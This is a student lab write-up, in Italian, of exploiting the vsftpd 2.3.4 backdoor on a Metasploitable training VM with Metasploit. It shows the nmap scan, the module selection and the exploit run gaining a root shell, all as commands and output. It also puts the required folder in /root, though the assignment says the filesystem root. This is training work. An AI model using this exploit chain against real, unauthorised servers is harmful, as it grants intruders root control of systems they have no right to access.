

Traccia Esercizio:

Esercizio: Hacking con Metasploit

Nella lezione pratica di oggi, ci concentreremo su come condurre una sessione di hacking utilizzando Metasploit su una macchina virtuale Metasploitable.

Traccia dell'Esercizio

Seguendo l'esercizio trattato nella lezione di oggi, vi sarà richiesto di completare una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable, come discusso nella lezione teorica.

Dettagli dell'Attività

Configurazione dell'Indirizzo IP L'unica differenza rispetto all'esercizio svolto in classe sarà l'indirizzo IP della vostra macchina Metasploitable. Configurate l'indirizzo come segue:

192.168.1.149/24

1. Svolgimento dell'Attacco Utilizzando Metasploit, eseguite una sessione di hacking sul servizio "vsftpd" della macchina Metasploitable.
2. Creazione di una Cartella Una volta ottenuta l'accesso alla macchina Metasploitable, navigate fino alla directory di root (/) e create una cartella chiamata **test_metasploit** utilizzando il comando **mkdir**.
mkdir /test_metasploit

Impostazioni di rete:

kali linux'

```
(marco@vbox)-[~]
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host noprefixroute
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 08:00:27:1c:a4:6c brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.100/24 brd 192.168.50.255 scope global noprefixroute eth0
        valid_lft forever preferred_lft forever
```

metasploitable'

```
msfadmin@metasploitable:~$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
        valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
        valid_lft forever preferred_lft forever
2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000
    link/ether 08:00:27:2b:75:65 brd ff:ff:ff:ff:ff:ff
    inet 192.168.50.150/24 brd 192.168.50.255 scope global eth0
    inet6 fe80::a00:27ff:fe2b:7565/64 scope link
        valid_lft forever preferred_lft forever
```

test connettività'

```
(marco@vbox)-[~]
$ ping 192.168.50.150
PING 192.168.50.150 (192.168.50.150) 56(84) bytes of data.
64 bytes from 192.168.50.150: icmp_seq=1 ttl=64 time=0.739 ms
64 bytes from 192.168.50.150: icmp_seq=2 ttl=64 time=0.453 ms
^C
— 192.168.50.150 ping statistics —
2 packets transmitted, 2 received, 0% packet loss, time 1008ms
rtt min/avg/max/mdev = 0.453/0.596/0.739/0.143 ms
```

Esecuzione:

nmap -sV 192.168.50.150 per vedere servizi attivi e stato delle porte

```
(marco@vbox)-[~]
$ sudo nmap -sV 192.168.50.150
[sudo] password for marco:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-08 10:19 EST
Nmap scan report for 192.168.50.150
Host is up (0.00017s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rshcd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:2B:75:65 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 65.52 seconds
```

msfconsole per avviare la Metasploit

```
(marco@vbox)-[~]
$ msfconsole
```

search vsftpd per cercare un exploit sul VSFTPD

```
msf > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date  Rank    Check  Description
-  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execut
ion

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use 01
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

show options per vedere le opzioni

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  ---      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies    Proxies            no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, http, sapn, socks4
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

set RHOSTS per settare RHOST

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.50.150
RHOSTS => 192.168.50.150
```

exploit per lanciare l'attacco

```
msf exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.50.150:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.50.150:21 - USER: 331 Please specify the password.
[*] 192.168.50.150:21 - Backdoor service has been spawned, handling...
[*] 192.168.50.150:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.50.100:41821 -> 192.168.50.150:6200) at 2025-11-08 10:37:42 -0500
```

abbiamo creato una connessione, ora esploriamo con **ls -lv**

```
ls -lv
total 89
drwxr-xr-x  2 root root  4096 May 13  2012 bin
drwxr-xr-x  4 root root 10240 May 13  2012 boot
lrwxrwxrwx  1 root root    11 Apr 28  2010 cdrom -> media/cd
drwxr-xr-x 14 root root 13540 Nov  8 10:04 dev
drwxr-xr-x 94 root root  4096 Nov  8 10:04 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
drwxr-xr-x  2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx  1 root root    32 Apr 28  2010 initrd.img -> boot/initrd.img
drwxr-xr-x 13 root root  4096 May 13  2012 lib
drwx-----  2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 16  2010 media
drwxr-xr-x  3 root root  4096 Apr 28  2010 mnt
-rw-----  1 root root 12310 Nov  8 10:05 nohup.out
drwxr-xr-x  2 root root  4096 Mar 16  2010 opt
dr-xr-xr-x 110 root root    0 Nov  8 10:04 proc
drwxr-xr-x 13 root root  4096 Nov  8 10:05 root
drwxr-xr-x  2 root root  4096 May 13  2012 sbin
drwxr-xr-x  2 root root  4096 Mar 16  2010 srv
drwxr-xr-x 12 root root    0 Nov  8 10:04 sys
drwxrwxrwt  4 root root  4096 Nov  8 10:05 tmp
drwxr-xr-x 12 root root  4096 Apr 27  2010 usr
drwxr-xr-x 14 root root  4096 Mar 17  2010 var
lrwxrwxrwx  1 root root    29 Apr 28  2010 vmlinuz -> boot/vmlinuz
```

*individuata la directory root entriamo con **cd root***

```
cd root
ls
Desktop
reset_logs.sh
vnc.log
```

***mkdir test_metasploit** per creare una cartella e completare l'esercizio*

```
mkdir test_metasploit
ls
Desktop
reset_logs.sh
test_metasploit
vnc.log
```